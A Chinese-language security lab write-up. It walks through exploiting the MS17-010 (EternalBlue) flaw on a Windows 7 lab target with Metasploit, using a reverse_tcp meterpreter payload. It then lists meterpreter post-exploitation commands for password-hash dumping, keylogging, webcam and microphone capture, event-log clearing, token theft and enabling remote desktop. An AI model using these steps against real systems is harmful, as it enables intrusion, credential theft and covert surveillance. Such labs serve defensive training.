简介:
勒索病毒,是一种新型电脑病毒,主要以邮件、程序木马、网页挂马的形式进行传播。该病毒性质恶劣、危害极 大,一旦感染将给用户带来无法估量的损失。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解 密,必须拿到解密的私钥才有可能破解。
永恒之蓝是指2017年5月12日起,全球范围内爆发的基于Windows网络共享协议进行攻击传播的蠕虫恶意代码,不 法分子通过改造之前泄露的NSA黑客武器库中“永恒之蓝”攻击程序发起的网络攻击事件。英国、俄罗斯、整个欧洲 以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
通过该实验,体验勒索病毒利用MS17-010系统漏洞获取远程主机管理员权限的过程,掌握系统运维中如何加强安 全防护措施来防止永恒之蓝病毒。
实验环境:
目标靶机:windows7(存在MS17-010漏洞)
测试渗透机:Kali-Linux-2018.2-vm-amd64(Metasploit平台)
实验原理:
基于metasploit渗透平台,调用永恒之蓝攻击模块,将远程渗透攻击模式设置为reverse_tcp模式,攻击成功后获 取远程主机的系统权限。
实验步骤:
Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试 工具,模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定 需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程 自动化、简单化。
启用永恒之蓝攻击模块
1
| use exploit/windows/smb/ms17_010_eternalblue
|
设置靶机IP
设置 payload:
1
| set payload windows/x64/meterpreter/reverse_tcp
|
设置本机地址:
执行攻击命令 run 等待2-4分钟,即可获得靶机shell
渗透利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| meterpreter核心命令 ============= ? / help 显示帮助菜单 background 将此会话放进后台(回话依然存在,这样可以使用其他模块利用此session来做更多事) bgkill 杀死一个后台会话 bglist 显示后台运行的脚本 bgrun 运行一个meterpreter脚本作为后台线程 channel 显示频道里信息或者控制频道 close 关闭频道 exit / quit 终止meterpreter会话 get_timeouts 得到当前回话的超时值 info 显示关于选定模块的信息 irb 进入rb脚本模式 load 载入一个或多个meterpreter扩展 machine_id Get the MSF ID of the machine attached to the session migrate 迁移攻击载荷到指定的pid或者进程名(默认pid,-N name进程名) read / write 从一个频道读取/写入数据 resource 运行一个资源文件(类似批处理脚本) run 运行一个meterpreter脚本或模块 set_timeouts 设置当前模块连接超时值 sleep 强制meterpreter去什么都不做再重新连接 transport 改变当前传输机制(后续发) use 改变load的别名 uuid 获取当前的uuid 文件命令(和Linux几乎一致) ============================ cat 把一个文件内容输出到屏幕(查看文件内容) cd 移动到其他目录 download 下载一个文件或目录 Usage: download [options] src1 src2 src3 ... destination OPTIONS: -r 递归下载所有内容 -t 时间戳也要下载 edit 编辑一个文件(和vim操作类似) lpwd 查看本地目录 getwd 查看远程目录 lcd 改变本地工作目录 ls 列出文件 mkdir 创建目录 mv 移动 pwd 显示当前工作目录 rm 删除 rmdir 删除目录 search 搜素 show_mount 列出所有设备(磁盘) upload 上传文件或目录(-r 地柜上传) 网络命令 =========================== arp 显示ARP缓存表 getproxy 显示代理设置 ifconfig 显示网卡设置 ipconfig 显示网卡设置 netstat 显示网络连接状态 portfwd 指向一个本地端口到远程服务(端口转发,后续会发) route 显示(修改)受害主机路由表 Supported commands: add [subnet] [netmask] [gateway] delete [subnet] [netmask] [gateway] list 系统命令 ======================= clearev 清除事件日志(系统自带的日志) drop_token 放弃所有的假冒令牌 execute 执行一条命令(后续发) getenv 取得指定的一个或多环境变量的值 getpid 得到当前进程的pid(攻击shell的pid) getprivs 尝试获取所有特权 getsid Get the SID of the user that the server is running as getuid 显示当前的身份 kill 杀死一个进程,后接pid,参数-s杀死相关的进程 ps 列出目标主机的进程 reboot 重启目标主机 shutdown 关闭目标主机 reg 修改注册表,可查看帮助(后续发) rev2self 回到目标主机的初始用户账户下(例如开始是admin后来提权为system,可以回到admin) shell 使用Windows系统命令行 steal_token 尝试盗取一个令牌 suspend 暂停或恢复一个列表进程 sysinfo 取得目标主机的系统信息,含电脑名,操作系统,架构,语言,工作组,登录用户数 用户界面命令 =============================== enumdesktops 列举出目标主机上所有的桌面 idletime 返回目标主机已经被闲置了多少时间 keyscan_dump 得到键盘录制的内容 keyscan_start 开始键盘录制 keyscan_stop 停止键盘录制 screenshot 抓取屏幕截图 setdesktop 切换到其他用户界面【当有多个用户登录时】 uictl 控制用户的键盘,鼠标 网络摄像头命令 ======================= record_mic 从默认的录入设备记录x秒的音频 OPTIONS: -d <opt> 记录几秒,默认1s -f <opt> 保存路径,默认:'/root/[randomname].wav' -p <opt> 自动播放捕获到的音频,默认:true webcam_chat 开启一个视频聊天 webcam_list 显示设备列表 webcam_snap 从指定的设备拍照截图 webcam_stream 从指定的webcam播放视频流 权限提升 ====================== getsystem 尝试提升用户权限 密码数据库 ================================ hashdump 下载密码哈希值(sam库) 文件属性 timestomp 修改文件的属性(后续发)
|
VNC远程桌面
开启目标的远程桌面3389
1
| run post/windows/manage/enable_rdp
|
打开靶机的 cmd
excute 执行目标系统中的文件(-f 指定文件,-i执行可交互模式,-H隐藏窗口)
更多操作,请参考 Metasploit